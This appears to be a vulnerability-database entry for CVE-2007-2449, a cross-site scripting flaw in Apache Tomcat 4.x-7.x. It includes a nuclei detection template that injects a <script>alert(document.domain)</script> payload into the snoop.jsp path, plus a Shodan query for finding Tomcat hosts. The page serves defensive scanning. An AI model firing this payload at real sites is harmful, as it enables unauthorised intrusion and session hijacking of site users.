HexBrain

Browse / CVEs / CVE-2007-2449

CVE-2007-2449· CWE-79

Apache Tomcat 4.x-7.x - Cross-Site Scripting

mediumseverity
7.2CVSS score
77.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.

Impact

Attackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp
Positive when: contains "Request URI: /examples/jsp/snp/snoop.jsp;<script>alert(docu…" and "JSP Request Method" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2007-2449 -u <target>

The full check
id: CVE-2007-2449

info:
  name: Apache Tomcat 4.x-7.x - Cross-Site Scripting
  author: pdteam,ritikchaddha
  severity: medium
  description: |
    Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Attackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.
  reference:
    - https://vulners.com/securityvulns/SECURITYVULNS:DOC:17267
    - https://nvd.nist.gov/vuln/detail/CVE-2007-2449
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    epss-score: 0.77376
    epss-percentile: 0.9956
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"Apache Tomcat"
  tags: cve,cve2007,apache,misconfig,tomcat,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request URI: /examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp'
          - 'JSP Request Method'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from